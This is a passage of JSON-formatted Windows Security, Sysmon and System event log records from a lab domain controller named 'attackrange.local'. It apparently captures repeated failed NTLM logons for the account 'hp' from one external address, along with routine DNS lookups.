requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x446dd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221679,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50277\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50277","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221680,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50423\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50423","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2439,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.331\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dns.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.331","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dns.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2440,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.335\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.335","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2441,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.335\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.335","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2442,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.380\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: DomainDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.380","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"DomainDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2443,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.403\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.DomainDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.403","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.DomainDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2444,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.412\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.412","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2445,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.422\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: ForestDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.422","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"ForestDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2446,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.432\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.ForestDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.432","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.ForestDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2447,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.441\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.attackrange.local.\r\nQueryStatus: 9003\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.441","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.attackrange.local.","QueryStatus":"9003","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221681,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50597\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50597","EventReceivedTime":"2020-08-07 11:50:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221682,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50643\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50643","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":37,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76826,"ProcessID":1220,"ThreadID":4272,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time provider NtpClient is currently receiving valid time data from time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123).","Opcode":"Info","TimeSource":"time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123)","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221683,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50796\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50796","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2448,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.662\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.DomainDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: 